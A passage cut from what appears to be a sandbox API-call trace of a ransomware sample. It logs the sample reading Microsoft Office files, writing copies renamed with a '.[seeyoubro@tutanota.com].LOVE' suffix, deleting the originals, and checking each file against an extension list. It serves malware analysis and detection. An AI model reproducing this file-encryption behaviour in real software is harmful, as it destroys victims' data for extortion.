lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x17103, lpOverlapped=0x0) returned 1 [0203.196] WriteFile (in: hFile=0x360, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x17110, lpOverlapped=0x0) returned 1 [0203.198] ReadFile (in: hFile=0x330, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.198] WriteFile (in: hFile=0x360, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xe4, lpOverlapped=0x0) returned 1 [0203.199] SetEndOfFile (hFile=0x360) returned 1 [0203.199] CloseHandle (hObject=0x360) returned 1 [0203.210] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.210] SetEndOfFile (hFile=0x330) returned 1 [0203.211] CloseHandle (hObject=0x330) returned 1 [0203.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1 [0203.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0203.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0203.212] lstrlenW (lpString=".doc") returned 4 [0203.212] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0203.212] lstrlenW (lpString=".docx") returned 5 [0203.212] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0203.212] lstrlenW (lpString=".pdf") returned 4 [0203.212] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0203.212] lstrlenW (lpString=".xls") returned 4 [0203.212] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0203.212] lstrlenW (lpString=".xlsx") returned 5 [0203.212] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0203.212] lstrlenW (lpString=".ppt") returned 4 [0203.212] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0203.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0203.212] lstrlenW (lpString=".zip") returned 4 [0203.212] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0203.212] lstrlenW (lpString=".rar") returned 4 [0203.212] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0203.212] lstrlenW (lpString=".bz2") returned 4 [0203.212] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0203.212] lstrlenW (lpString=".7z") returned 3 [0203.212] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0203.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0203.212] lstrlenW (lpString=".dbf") returned 4 [0203.212] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0203.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0203.212] lstrlenW (lpString=".1cd") returned 4 [0203.212] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0203.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0203.212] lstrlenW (lpString=".jpg") returned 4 [0203.212] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0203.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0203.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0203.213] lstrlenW (lpString=".doc") returned 4 [0203.213] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0203.213] lstrlenW (lpString=".docx") returned 5 [0203.213] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0203.213] lstrlenW (lpString=".pdf") returned 4 [0203.213] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0203.213] lstrlenW (lpString=".xls") returned 4 [0203.213] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0203.213] lstrlenW (lpString=".xlsx") returned 5 [0203.213] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0203.213] lstrlenW (lpString=".ppt") returned 4 [0203.213] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0203.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0203.213] lstrlenW (lpString=".zip") returned 4 [0203.213] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0203.213] lstrlenW (lpString=".rar") returned 4 [0203.213] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0203.213] lstrlenW (lpString=".bz2") returned 4 [0203.213] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0203.213] lstrlenW (lpString=".7z") returned 3 [0203.213] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0203.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0203.213] lstrlenW (lpString=".dbf") returned 4 [0203.213] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0203.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0203.213] lstrlenW (lpString=".1cd") returned 4 [0203.213] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0203.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0203.213] lstrlenW (lpString=".jpg") returned 4 [0203.213] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0203.213] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0203.213] lstrlenW (lpString="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 53 [0203.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0203.214] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=387356) returned 1 [0203.214] CloseHandle (hObject=0x330) returned 1 [0203.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0203.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0203.215] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.215] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0203.215] GetLastError () returned 0x0 [0203.215] ReadFile (in: hFile=0x330, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x5e91c, lpOverlapped=0x0) returned 1 [0203.276] WriteFile (in: hFile=0x360, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x5e920, lpOverlapped=0x0) returned 1 [0203.283] ReadFile (in: hFile=0x330, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.284] WriteFile (in: hFile=0x360, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x13e, lpOverlapped=0x0) returned 1 [0203.284] SetEndOfFile (hFile=0x360) returned 1 [0203.297] CloseHandle (hObject=0x360) returned 1 [0203.306] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.306] SetEndOfFile (hFile=0x330) returned 1 [0203.762] CloseHandle (hObject=0x330) returned 1 [0203.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0203.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1 [0203.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0203.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0203.895] lstrlenW (lpString=".doc") returned 4 [0203.895] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.895] lstrlenW (lpString=".docx") returned 5 [0203.895] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0203.895] lstrlenW (lpString=".pdf") returned 4 [0203.895] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.895] lstrlenW (lpString=".xls") returned 4 [0203.895] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.895] lstrlenW (lpString=".xlsx") returned 5 [0203.895] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0203.895] lstrlenW (lpString=".ppt") returned 4 [0203.895] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0203.895] lstrlenW (lpString=".zip") returned 4 [0203.895] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.896] lstrlenW (lpString=".rar") returned 4 [0203.896] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.896] lstrlenW (lpString=".bz2") returned 4 [0203.896] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.896] lstrlenW (lpString=".7z") returned 3 [0203.896] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0203.896] lstrlenW (lpString=".dbf") returned 4 [0203.896] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0203.896] lstrlenW (lpString=".1cd") returned 4 [0203.896] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0203.896] lstrlenW (lpString=".jpg") returned 4 [0203.896] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0203.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0203.896] lstrlenW (lpString=".doc") returned 4 [0203.896] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.896] lstrlenW (lpString=".docx") returned 5 [0203.896] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0203.896] lstrlenW (lpString=".pdf") returned 4 [0203.896] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.896] lstrlenW (lpString=".xls") returned 4 [0203.896] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.896] lstrlenW (lpString=".xlsx") returned 5 [0203.896] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0203.896] lstrlenW (lpString=".ppt") returned 4 [0203.896] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0203.896] lstrlenW (lpString=".zip") returned 4 [0203.896] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.896] lstrlenW (lpString=".rar") returned 4 [0203.896] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.896] lstrlenW (lpString=".bz2") returned 4 [0203.897] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.897] lstrlenW (lpString=".7z") returned 3 [0203.897] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0203.897] lstrlenW (lpString=".dbf") returned 4 [0203.897] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0203.897] lstrlenW (lpString=".1cd") returned 4 [0203.897] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0203.897] lstrlenW (lpString=".jpg") returned 4 [0203.897] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.897] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0203.897] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53 [0203.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0203.898] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=1261) returned 1 [0203.898] CloseHandle (hObject=0x31c) returned 1 [0203.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0203.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0203.900] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.900] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0203.900] GetLastError () returned 0x0 [0203.900] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0203.939] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0203.940] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.940] WriteFile (in: hFile=0x348, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x13e, lpOverlapped=0x0) returned 1 [0203.940] SetEndOfFile (hFile=0x348) returned 1 [0204.657] CloseHandle (hObject=0x348) returned 1 [0204.657] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.657] SetEndOfFile (hFile=0x31c) returned 1 [0204.658] CloseHandle (hObject=0x31c) returned 1 [0204.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0204.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1 [0204.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0204.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0204.659] lstrlenW (lpString=".doc") returned 4 [0204.659] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.659] lstrlenW (lpString=".docx") returned 5 [0204.659] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.659] lstrlenW (lpString=".pdf") returned 4 [0204.659] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.659] lstrlenW (lpString=".xls") returned 4 [0204.659] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.659] lstrlenW (lpString=".xlsx") returned 5 [0204.659] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.660] lstrlenW (lpString=".ppt") returned 4 [0204.660] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0204.660] lstrlenW (lpString=".zip") returned 4 [0204.660] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.660] lstrlenW (lpString=".rar") returned 4 [0204.660] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.660] lstrlenW (lpString=".bz2") returned 4 [0204.660] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.660] lstrlenW (lpString=".7z") returned 3 [0204.660] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0204.660] lstrlenW (lpString=".dbf") returned 4 [0204.660] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0204.660] lstrlenW (lpString=".1cd") returned 4 [0204.660] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0204.660] lstrlenW (lpString=".jpg") returned 4 [0204.660] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0204.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0204.660] lstrlenW (lpString=".doc") returned 4 [0204.660] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.660] lstrlenW (lpString=".docx") returned 5 [0204.660] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.660] lstrlenW (lpString=".pdf") returned 4 [0204.660] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.661] lstrlenW (lpString=".xls") returned 4 [0204.661] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.661] lstrlenW (lpString=".xlsx") returned 5 [0204.661] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.661] lstrlenW (lpString=".ppt") returned 4 [0204.661] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0204.661] lstrlenW (lpString=".zip") returned 4 [0204.661] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.661] lstrlenW (lpString=".rar") returned 4 [0204.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.661] lstrlenW (lpString=".bz2") returned 4 [0204.661] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.661] lstrlenW (lpString=".7z") returned 3 [0204.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0204.661] lstrlenW (lpString=".dbf") returned 4 [0204.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0204.661] lstrlenW (lpString=".1cd") returned 4 [0204.661] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0204.661] lstrlenW (lpString=".jpg") returned 4 [0204.661] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.662] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0204.662] lstrlenW (lpString="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 53 [0204.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0204.662] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=1261) returned 1 [0204.662] CloseHandle (hObject=0x31c) returned 1 [0204.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0204.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0204.662] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.662] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 